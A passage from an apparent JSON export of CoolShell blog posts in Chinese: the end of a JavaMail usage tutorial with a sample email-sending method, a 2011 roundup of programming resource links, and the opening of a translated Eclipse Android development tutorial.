是一个理解在不同RFCs中定义的MIME类型以及headers的e-mail message。Message headers 必须使用 US-ASCII 字符集。可以用如下的方法创建一个Message</p>\n<p><code class=\"EnlighterJSRAW\">MimeMessage message = new MimeMessage(session);</code></p>\n<p>我们注意到，这里需要用session对象作为构造函数的参数。当然，还有其它的构造函数，比如从用RFC822格式化过的输入流来创建message。</p>\n<p>一旦你得到了 message ,你就可以来设置它的各个部分（parts）。设置内容（content）的基本的机制是使用setContent() 方法。</p>\n<p><code class=\"EnlighterJSRAW\">message.setContent(\"Email Content. \",\"text/plain\");</code></p>\n<p>如果，你能够明确你的使用MimeMessage来创建message 并且只是使用普通的文本（plain text） 那么你也可以使用 setText() 方法，setTest()方法只需要设置具体的内容，它默认的MIME类型是 text/plain</p>\n<p><code class=\"EnlighterJSRAW\">message.setText(\"Email Content. \");</code></p>\n<p>对于普通文本类型的邮件，有一种机制是首选（ message.setText(“Email Content. “)）的设置内容的方法。如果要创建其它类型的message ，比如　HTML类型的message   那么还是需要使用前者　（　message.setContent(“Email Content. “,”text/html”);　）<br/>\n设置主题（subject ），使用setSubject() 方法</p>\n<p><code class=\"EnlighterJSRAW\">message.setSubject(\" Subject \");</code></p>\n<h4>Address</h4>\n<p>当你已经创建Session 以及 Message，并且已经为message 填充了内容，那么接下来要做的就是给你的邮件添加一个地址（Address）。　就像Message一样，Address也是一个抽象类，我们可以使用它的一个子</p>\n<p>javax.mail.internet.InternetAddress</p>\n<p>创建一个地址非常简单</p>\n<p><code class=\"EnlighterJSRAW\">Address address = new InternetAddress(\"&lt;a href=\"mailto:suixin@asiainfo.com\"&gt;suixin@asiainfo.com&lt;/a&gt;\");</code></p>\n<p>如果，你希望在出现邮件地址的地方出现一个名称，那么你只需要再多传递一个参数。</p>\n<p><code class=\"EnlighterJSRAW\">Address address = new InternetAddress(\"&lt;a href=\"mailto:suixin@asiainfo.com&amp;quot;,&amp;quot;Steve\"&gt;suixin@asiainfo.com\",\"Steve&lt;/a&gt;\");</code></p>\n<p>你需要为 message 的from以及 to 字段创建address对象。为了识别发送者，你需要使用setFrom() 和 setReplyTo() 方法。</p>\n<p><code class=\"EnlighterJSRAW\">messge.setFrom(address);</code></p>\n<p>如果你的message 需要显示多个 from 地址，可以使用 addFrom() 方法</p>\n<pre class=\"EnlighterJSRAW\">Address address[] = {....};\nmessage.addFrom(address);</pre>\n<p>为了辨识message 的收件人，你需要使用 setRecipient() 方法。这个方法除了address参数之外，还需要一</p>\n<p>Message.RecipientType 。<br/>\nmessage.addRecipient(type,address);<br/>\nMessage.RecipientType有几个预先定义好的类型<br/>\nMessage.RecipientType.TO　　收件人<br/>\nMessage.RecipientType.CC　　抄送<br/>\nMessage.RecipientType.BCC　 暗送</p>\n<p>如果你的一封邮件，需要发送给你的老师，并还要给你的几个同学，那么你可以这样</p>\n<pre class=\"EnlighterJSRAW\">Address toAddress = new InternetAddress(\"&lt;a href=\"mailto:teacher@17288.com\"&gt;teacher@17288.com&lt;/a&gt;\");\nAddress[] ccAddress = {new InternetAddress(\"&lt;a href=\"mailto:schoolmate1@17288.com&amp;quot;),new\"&gt;schoolmate1@17288.com\"),new&lt;/a&gt; InternetAddress(\"&lt;a href=\"mailto:schoolmate2@17288.com\"&gt;schoolmate2@17288.com&lt;/a&gt;\")};\nmessage.addRecipient(Message.RecipientType.To, toAddress);\nmessage.addRecipient(Message.RecipientType.CC, ccAddress);</pre>\n<p>JavaMail 没有提供电子邮件地址有效性的检测。这些超越了JavaMail API的范围。</p>\n<h4>Authenticator</h4>\n<p>通过Authenticator设置用户名、密码，来访问受保护的资源，这里的资源一般指的是邮件服务器。</p>\n<p>Authenticator也是一个抽象类，你需要自己编写子类已备应用。你需要实现getPasswordAuthentication()方法，并返回一个PasswordAuthentication实例。你必须在 session被创建时， 注册你的 Authenticator。这样，当需要进行认证是，你的Authenticator就可以被得到。</p>\n<pre class=\"EnlighterJSRAW\">Properties props = new Properties();\n//设置属性\nAuthenticator auth = new YourAuthenticator();\nSession session = Session.getDefaultInstance(props, auth);</pre>\n<h4>Transport</h4>\n<p>发送消息最后的一步就是使用Transport类，你可以通过两种方法来进行发送。<br/>\nTransport 是一个抽象类，你可以调用它静态的send() 方法来发送</p>\n<p><code class=\"EnlighterJSRAW\">Transport.send(message);</code></p>\n<p>或者，你可以为你使用的协议从session中取得一个指定的实例，</p>\n<pre class=\"EnlighterJSRAW\">Transport transport = session.getTransport(\"smtp\");\ntransport.sendMessage(message, message.getAllRecipients());\ntransport.close();</pre>\n<h4>Store and Folder</h4>\n<p>这两个类重要用于取得信息。在创建了Session之后，需要连接到一个 Store ，你需要告诉Store你使用的是什么协议。</p>\n<pre class=\"EnlighterJSRAW\">// Store store = session.getStore(\"imap\");\nStore store = session.getStore(\"pop3\");\nstore.connect(host, username, password);</pre>\n<p>在连接到一个 Store 后，你可以得到一个 Folder，当然，这个Floder必须是打开的。</p>\n<pre class=\"EnlighterJSRAW\">Folder folder = store.getFolder(\"INBOX\");\nfolder.open(Folder.READ_ONLY);\nMessage message[] = folder.getMessages();</pre>\n<p>如果使用POP3那么，INDEX是唯一可用的文件夹。如果使用的是IMAP，你就可以使用其它的文件夹。</p>\n<h4>代码</h4>\n<pre class=\"EnlighterJSRAW\">public boolean sendEmail(Map&lt;String, String&gt; data) {\n    // 创建Properties 对象\n    Properties props = System.getProperties();\n    props.put(\"mail.smtp.host\", Constants.HOST); // 全局变量\n    props.put(\"mail.smtp.auth\", \"true\");\n\n    // 创建邮件会话\n    Session session = Session.getDefaultInstance(props,\n    new Authenticator() { // 验账账户\n        @Override\n        public PasswordAuthentication getPasswordAuthentication() {\n            return new PasswordAuthentication(Constants.USERNAME,\n                                              Constants.PASSWORD);\n        }\n    });\n\n    try {\n        // 定义邮件信息\n        MimeMessage message = new MimeMessage(session);\n        message.setFrom(new InternetAddress(Constants.FROM));\n        message.addRecipient(\n            Message.RecipientType.TO,\n            new InternetAddress(\n                // 这里可以添加多个目的用户\n                data.get(Constants.EMAIL_TO)\n            )\n        );\n        // 添加邮件发送时间（不知道体现在哪儿）\n        message.setSentDate(new Date());\n        // 要编码，否则中文会出乱码，貌似这个方法是对数据进行了\n        //(\"=?GB2312?B?\"+enc.encode(subject.getBytes())+\"?=\")形势的包装\n        message.setSubject(MimeUtility.encodeText(data.get(Constants.EMAIL_SUBJECT), \"gbk\", \"B\"));\n\n        MimeMultipart mmp = new MimeMultipart();\n        MimeBodyPart mbp_text = new MimeBodyPart();\n        // \"text/plain\"是文本型，没有样式，\n        //\"text/html\"是html样式，可以解析html标签\n        mbp_text.setContent(data.get(Constants.EMAIL_TEXT),\n                            \"text/html;charset=gbk\");\n        mmp.addBodyPart(mbp_text); // 加入邮件正文\n\n        // 处理附件，可以添加多个附件\n        if (data.get(Constants.EMAIL_ATTACHMENT) != null) {\n            String[] files = data.get(Constants.EMAIL_ATTACHMENT).split(\",\");\n            if (files.length != 0) {\n                for (String file : files) {\n                    MimeBodyPart mbp_file = new MimeBodyPart();\n                    FileDataSource fds = new FileDataSource(file);\n                    mbp_file.setDataHandler(new DataHandler(fds));\n                    mbp_file.setFileName(MimeUtility.encodeText(fds.getName(), \"gbk\", \"B\"));\n                    mmp.addBodyPart(mbp_file);\n                }\n            }\n        }\n        message.setContent(mmp);\n        // message.setText(data.get(Constants.EMAIL_TEXT));\n\n        // 发送消息\n        // session.getTransport(\"smtp\").send(message); //也可以这样创建Transport对象\n        Transport.send(message);\n        return true;\n    } catch (Exception e) {\n        e.printStackTrace();\n        return false;\n    }\n}\n</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4261.html\">JavaMail使用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-6 一些有意思的文章和资源.html",
    "content": "<html><body><p>又到了向大家介绍一些最近我在网上发现的有价值的东西的时候了。（下面的链接中很多都被墙）</p>\n<ul>\n<li>以前向大家介绍过《<a href=\"https://coolshell.cn/articles/2583.html\" target=\"_blank\" title=\"一些重要的算法\">一些重要的算法</a>》和《<a href=\"https://coolshell.cn/articles/1499.html\" target=\"_blank\" title=\"算法和数据结构词典\">算法和数据结构词典</a>》，不过，你知道有些什么样比较奇怪的数据结构吗？wikipedia上的这个词条可以让你看看<a href=\"http://en.wikipedia.org/wiki/List_of_data_structures\" target=\"_blank\">各种不同的数据结构</a>。比如：<a href=\"http://en.wikipedia.org/wiki/Skip_list\" rel=\"nofollow\">Skip lists</a>， <a href=\"http://en.wikipedia.org/wiki/Bloom_filter\" rel=\"nofollow\">Bloom filters</a>，或是什么<a href=\"http://en.wikipedia.org/wiki/Dancing_Links\" rel=\"nofollow\">Dancing links</a>。你也许会像一个以“<a href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\" title=\"如何学好C++语言\">如何学好C++</a>”中的朋友们所说的，不削于这种所谓的“奇技淫巧”，甚至觉得这太根本不实用。其实，这些东西还是有用的，至少对你开阔思路，活动编程思维能力很有意义。</li>\n</ul>\n<ul>\n<li>本站的关于<a href=\"https://coolshell.cn/tag/%e6%8e%92%e5%ba%8f\" target=\"_blank\">排序的文章</a>有很多，对于排序算法来说，其受到要排序的个数和数据的杂乱程度的影响，我们知道比较稳定的排序算法是快速排序和归并排序，归并排序对于大量的数据排序效果是非常好的，尤其是我们可以进行并行的排序。这里有一个并行归并排序的算法的源代码，你可以参考一下 – “<a href=\"http://dzmitryhuba.blogspot.com/2010/10/parallel-merge-sort.html\" target=\"_blank\">Parallel Merge Sort</a>”。</li>\n</ul>\n<ul>\n<li>说到“奇技淫巧”和算法，这里有一个文章向你展示了C语言中使用位操作可能完成的各种算法，很有意思。请参看 – “<a href=\"http://aggregate.ee.engr.uky.edu/MAGIC/\" target=\"_blank\">The Aggregate Magic Algorithms</a>”</li>\n</ul>\n<ul>\n<li>这里有篇文章教你如何取得一个<a href=\"http://www.productivity501.com/harvard-masters-degree/6463/\" target=\"_blank\">在线的哈佛大学的硕士学位</a>，文章中说了一些相关的事宜，包括一些收费情况，并且展示了一张文凭。这里有一个网页说明了<a href=\"http://blog.markwshead.com/911/harvard-online-masters-degree-in-software-engineering/\" target=\"_blank\">哈佛软件工程学位</a>（Software Engineering）的所需要学习的科目，比如：Java和分布式计算，分布式/企业级计算，设计模式和Java，通讯协议，高级数据网络，Web开发，计算理论，Perl实践，Unix系统编程……我不知道我们的国家各个大学的硕士在学什么，因为我没有读过硕士，但好像现在的计算机研究生只是导师用来挣钱的免费资源，而且，实在不知道研究生在校研究什么。不管怎么样，从这看来，我们的大学好像并没有教给学生计算机的技术。比如在“<a href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\" title=\"如何学好C语言\">如何学好C语言</a>”和“<a href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\" title=\"如何学好C++语言\">如何学好C++语言</a>”中我提到的那些书，那些才是大学里应该学的。我国的教育还真不是一般的落后，不过你不妨试试哈佛的在线学位。</li>\n</ul>\n<p><span id=\"more-4220\"></span></p>\n<ul>\n<li>关于网上的电子书，以前本站介绍过一 个<a href=\"https://coolshell.cn/articles/2775.html\" target=\"_blank\" title=\"免费电子书列表\">免费电子书列表</a>，这里再推荐一个网站，上面有很多很多很不错的计算机科学方面的电子书，当然，都是英文的。<a href=\"http://www.sciencebooksonline.info/computer-science.html\" target=\"_blank\">http://www.sciencebooksonline.info/computer-science.html</a>。我知道你对英文发憷，但是，朋友，你一定要学好英文啊，这不仅仅只是为了学好计算机啊。</li>\n</ul>\n<ul>\n<li>还记得本站的“<a href=\"https://coolshell.cn/articles/3512.html\" target=\"_blank\" title=\"64位平台C/C++开发注意事项\">64位平台开发的注意事项</a>”吗？Intel Software Network上有这样一篇文章其收集了一些在64位平台上经常出现的错的，图文并茂的，相当的不错，强力推荐给大家 – “<a href=\"http://software.intel.com/en-us/articles/collection-of-examples-of-64-bit-errors-in-real-programs/\" target=\"_blank\">A Collection of Examples of 64-bit Errors in Real Programs</a>”</li>\n</ul>\n<ul>\n<li>你爱好汇编语言吗？如果你是汇编的痴迷者，那么mac.com上的<a href=\"http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/index.html\">这个列表</a>对你很有意义了。里面的相关文章非常不错哦。而这里有一个<a href=\"http://www.duntemann.com/assembly.html\" target=\"_blank\">Step by Step的x86汇编编程教程</a>。</li>\n</ul>\n<ul>\n<li>还记得那篇“UI和UX的差别”吗？呵呵。这里有一个网站，给了你30+条UX用户体验的建议，我觉得非常不错，转给大家<a href=\"http://uxmyths.com/\">http://uxmyths.com/</a></li>\n</ul>\n<ul>\n<li>想在Visual Studio 2010下编写Python吗？那么，向你介绍这个微软官方的插件<a href=\"http://pytools.codeplex.com/\" target=\"_blank\">Python  Tools for Visual Studio</a>。你还可以在VS中调试你的Python代码。挺不错的。</li>\n</ul>\n<ul>\n<li>在VS里开发Python，那么就可以使用Eclipse编写Android程序，这里有一篇教程教你 – <a href=\"http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/\" target=\"_blank\">Get Started Developing For Android With Eclipse, Reloaded</a></li>\n</ul>\n<ul>\n<li>说到了Android，必然要提一提iOS。想学iOS编程吗？这里有一篇教程很不错，如果你是一个什么也不懂的初学者，你不妨看看这篇文章“<a href=\"http://designthencode.com/scratch/\" target=\"_blank\">Build iOS App from Scrach</a>”</li>\n</ul>\n<ul>\n<li>查JDK是不是有点不好查？这里有一个网站可以方便地查找JDK和Android的API – <a href=\"http://www.kiwidoc.com/\" target=\"_blank\">http://www.kiwidoc.com</a>，我觉得很不错哦。</li>\n</ul>\n<ul>\n<li>不知道你是不是一个怀旧的人，你是否还记得以前用C语言开发Web的时光呢？我记得我97-98年的时候学过用C开发web应用，觉得挺难学的，我还没有完全搞懂，就出现了ASP，PHP……。这两天看到一篇 <a href=\"http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm\" target=\"_blank\">C++ Web Programming</a>，讲得真是很系统啊，从处理HTTP Header，到处理表单和上传文件。看完后，感觉有点坐着时光机器回到大学时的感觉。呵呵。</li>\n</ul>\n<ul>\n<li>说到Web编程，现在的Web编程和以前很不一样了。你觉得未来的Web编程的技术会是什么样的？NoSQL? 服务器端的Javascript? 各种像Amazon的EC2或S3的云计算平台？更新更强大的开发框架？HTML 5/CSS 3？这里有一篇文章你可以去看看 – “<a href=\"http://net.tutsplus.com/articles/general/7-exciting-web-development-trends-for-2011/\">7 Exciting Web Development Trends for 2011</a>”.</li>\n</ul>\n<ul>\n<li>无论Web编程到了什么时候，安全问题永远都是你需要注意的。这里有一篇文章“<a href=\"http://code.google.com/intl/zh-CN/edu/submissions/daswani/index.html\" target=\"_blank\">What Every Web Programmer Needs To Know About Security</a>” –  每一个Web程序员都应该知道的安全问题。</li>\n</ul>\n<ul>\n<li>再推荐两个关于WebGL的游戏演示，一个是3D的比较好玩的有点<a href=\"http://cycleblob.com/\" target=\"_blank\">像贪吃蛇一样的游戏</a>，另一个是<a href=\"http://nicolas-bonnel.github.com/WARPG/index.html\" target=\"_blank\">RPG式的游戏</a>，第三人称视角，看上去很不错。</li>\n</ul>\n<ul>\n<li>这里有20款图标，<a href=\"http://www.tutorialcadet.com/20-user-interface-icon-sets-for-developers/\" target=\"_blank\">http://www.tutorialcadet.com/20-user-interface-icon-sets-for-developers/</a>，也许会对你的UI开发有帮助。wikipedia上也有一些<a href=\"http://commons.wikimedia.org/wiki/Comparison_of_icon_sets\" target=\"_blank\">免费的图标</a>。</li>\n</ul>\n<ul>\n<li>在以前的“<a href=\"https://coolshell.cn/articles/3480.html\" target=\"_blank\" title=\"一些有意思的贴子和工具\">一些资源介绍</a>”的文章中介绍过<a href=\"http://mikeos.berlios.de/write-your-own-os.html\" target=\"_blank\">一篇教程</a>教你用x86的汇编做一个操作系统， 这里又有一篇文章向你展示了一个最最简单的操作系统内核，这个操作系统叫做<a href=\"http://www.retroprogramming.com/2011/03/itsy-os-simple-preemptive-switcher.html\" target=\"_blank\">Itsy-OS Kernel</a>，你可以看看。</li>\n</ul>\n<ul>\n<li>你还记得Google在四月一日愚人节那天搞的那个<a href=\"http://mail.google.com/mail/help/motion.html\" target=\"_blank\">Google Gmail Motion</a>吗？用你的body Language写邮件？呵呵，不过，某人使用微软的Kinect做到了，视频在这里：<a href=\"http://www.youtube.com/watch?v=Lfso7_i9Ko8\" target=\"_blank\">http://www.youtube.com/watch?v=Lfso7_i9Ko8</a>。项目主页在这里：<a href=\"http://projects.ict.usc.edu/mxr/faast/\">http://projects.ict.usc.edu/mxr/faast/</a>。</li>\n<li>不知道你看过电影《创战纪》了吗？我个人觉得电影很一般。不过你想知道里面的一些特效是用什么样的技术怎么做的吗？呵呵，其中的一个程序员写了一篇博文 – “<a href=\"http://jtnimoy.net/workviewer.php?q=178\" target=\"_blank\">Tron Legacy</a>”，我看到了Unix, C++等。这篇文章很不错。</li>\n</ul>\n<p>好的，就这么多，也欢迎你分享你所看到的和听到的东西。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9886.html\"><img alt=\"二叉树迭代器算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-7 Eclipse开发Android应用程序入门.html",
    "content": "<html><body><p>By <a href=\"http://www.smashingmagazine.com/author/chris-blunt/\" title=\"Posts by Chris Blunt\">Chris Blunt</a></p>\n<p><strong>翻译：赵锟</strong><br/>\n原文出处：<a href=\"http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/\">http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/</a></p>\n<p>如今的移动设备应用程序开发充满着让人振奋的东西。功能强大的硬件支持，平板电脑，多样的软件平台（塞班 OS，iOS，WebOS，Windows Phone 7…)，移动设备开发者前景充满了机会和挑战。</p>\n<p>当你想要开始开发你的移动设备程序时，如此多的选择可能让你产生困扰。究竟应该选择神马平台？我应该学习神马语言？为你计划的项目选择神马工具？在本教程中，你将学会如何在Google公司的开源移动设备操作系统Android下开发应用程序。</p>\n<h3>为神马选Android</h3>\n<p>Android是一个基于Linux内核的开源平台， 并且被安装在来自于不同厂商的上千种设备中。Android将各种移动设备的硬件如 电子罗盘，摄像头，GPS，方向感应，等等暴露给你的应用程序。<br/>\n<span id=\"more-4270\"></span><br/>\nAndroid的免费开发工具可以让你以0成本开始编写你的软件。当你想向世界展示你的应用程序的时候，你可以将你的软件发布到Google的 Android 市场。向Andriod Market 发布程序只一次性的收取注册费用（25元），并且不像苹果的App Store ，对每一次的提交都要做检查，除非你的程序明显地违法，在经过一个快速检查的流程后，才能让你的程序提供给客户下载和购买。</p>\n<p>下面是Android对于开发者的优点：</p>\n<ul>\n<li>Android的SDK可以在Windows,Mac和Linux上运行，因此你不需要为了开发环境支付额外的新硬件投入。（译者注：我曾近在Win7 64x + VMWare上成功的安装Mac Snow leopard + XCode的开发环境，对于爱用盗版的人来说，这点MS优势不是很大啊）</li>\n<li>构建于JAVA上的SDK。如果你熟悉JAVA语言，你就是事半功倍了。（译者注：这个酷壳有篇文章讨论过，大家可以参看：<a href=\"https://coolshell.cn\" target=\"_blank\">https://coolshell.cn</a>）</li>\n<li>你只要在Android Market上发布应用程序，你将有潜在的成千上万的用户。而且你不一定非要把程序发布在Android Market上，你还可以在你的博客上发布。而且有传言，Amazon已近在最近准备搭建他们自己的Android 应用程序商店了。</li>\n<li>除了了技术性的<a href=\"http://developer.android.com/sdk/index.html\">SDK 文档</a>外,还可以找到其他更多的使用者和开发者的资源。</li>\n</ul>\n<p>闲话少说——下面让我们进入正题，开始开发我们的Android应用程序。</p>\n<h3>安装Eclipse和Android SDK</h3>\n<p>Android应用程序的推荐开发环境是带有Android开发包插件(Android Devlopment Toolkit (ADT))的Eclipse。我在这里简要说明一下安装流程。如果你需要更多的细节，Google的<a href=\"http://developer.android.com/sdk/\">开发人员网页</a>中详尽地解释了具体的安装配置过程</p>\n<ul>\n<li>为你的平台下载<a href=\"http://developer.android.com/\">Android      SDK</a>（Windows ， Mac OS X 或者 Linux）。</li>\n<li>在你的硬盘上解压下载文件 (在Linux, 我使用 /opt/local/).</li>\n<li>如果你没有安装Eclipse，下载并安装<a href=\"http://eclipse.org/downloads/packages/eclipse-ide-java-developers/galileosr2\">Eclipse JAVA 集成开发环境</a>包。 用于编程的话,      Google推荐使用Eclipse 3.5 (Galileo).</li>\n<li>运行Eclipse 并选择<em>Help-&gt;Install New      Software</em>.</li>\n<li>在Available Software窗口中点击Add按钮。</li>\n<li>进入 Android Development Tools 的<em>Name</em>输入框, 在Location      输入框输入https://dl-ssl.google.com/android/eclipse/</li>\n<li>检查可用软件中有Developer Tools并点击OK按钮。这将安装Android      Development Tools 和DDMS, Android的调试工具。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4306\" height=\"519\" src=\"../wp-content/uploads/2011/04/install.gif\" title=\"install\" width=\"500\"/></p>\n<ul>\n<li>点击Next和Finish按钮以完成安装，安装完成后，你需要重启你的Eclipse一次。</li>\n<li>在Eclipse重启后，选择Window-&gt;Preference 后你可以在分类列表中看到Android这一项了。</li>\n<li>现在需要告诉Eclipse，你的Android SDK安装在什么地方。点击Android项后浏览选择你解压后的Android SDK所在的路径。例如/opt/local/android-sdk。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4303\" height=\"649\" src=\"../wp-content/uploads/2011/04/eclipse_android_preferences.jpg\" title=\"eclipse_android_preferences\" width=\"696\"/></p>\n<ul>\n<li>点击OK按钮，保存信息。</li>\n</ul>\n<h3>选择Android 平台</h3>\n<p>在你开始编写Android应用程序之前，你需要为你需要开发应用程序的Android设备下载SDK平台。每个平台都有可以安装在用户设备上的不同版本的SDK。对于Android1.5或以上版本，有两个可用的平台： <em>Android Open Source Project</em> 和 <em>Google</em>.</p>\n<p><em>Android Open Source Project</em> 平台是开源的，但是不包括Google公司的私有化扩展，比如Google Map。如果不选择使用Google的API，Google的地图功能就不会在你的应用程序中生效。除非你有特别的原因，否则我们推荐你选择Google平台，因为这样你可享受到Google的扩展类库提供的便利。</p>\n<ul>\n<li>选择<em>Window Android SDK and AVD Manager</em>.</li>\n<li>点击左栏中的<em>Available Packages</em> 并选择选择Respository中有效的Android SDK平台。</li>\n<li>你可以选择列表中所需要的平台，或全选下载所有有效的平台。当你选择完毕，单击<em>Install Selected </em>并完成安装。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4307\" height=\"291\" src=\"../wp-content/uploads/2011/04/sdk.jpg\" title=\"sdk\" width=\"500\"/><br/>\n一旦成功的下载所有的平台后，你就可以准备开始开发Android应用程序了。</p>\n<h3>创建一个新的Android项目</h3>\n<p>Eclipse的新建项目向导能为你创建一个新的Android项目，并生成可以开始运行的文件和代码。通过向导生成代码，可以让你马上得到一个Android程序运行的直观映像并为你提供了一个帮助你快速入门的方法：</p>\n<ul>\n<li>选择 <em>File-&gt;New-&gt;Project…</em></li>\n<li>选择<em>Android Project</em></li>\n<li>在<em>New Project</em> 对话框, 键入如下的设置:</li>\n</ul>\n<p>[code]<br/>\nProject Name: BrewClock<br/>\nBuild Target: Google Inc. 1.6 (Api Level 4)<br/>\nApplication Name: BrewClock<br/>\nPackage Name: com.example.brewclock<br/>\nCreate Activity: BrewClockActivity<br/>\nMin SDK Version: 4<br/>\n[/code]</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4304\" height=\"1061\" src=\"../wp-content/uploads/2011/04/eclipse_new_project_settings.jpg\" title=\"eclipse_new_project_settings\" 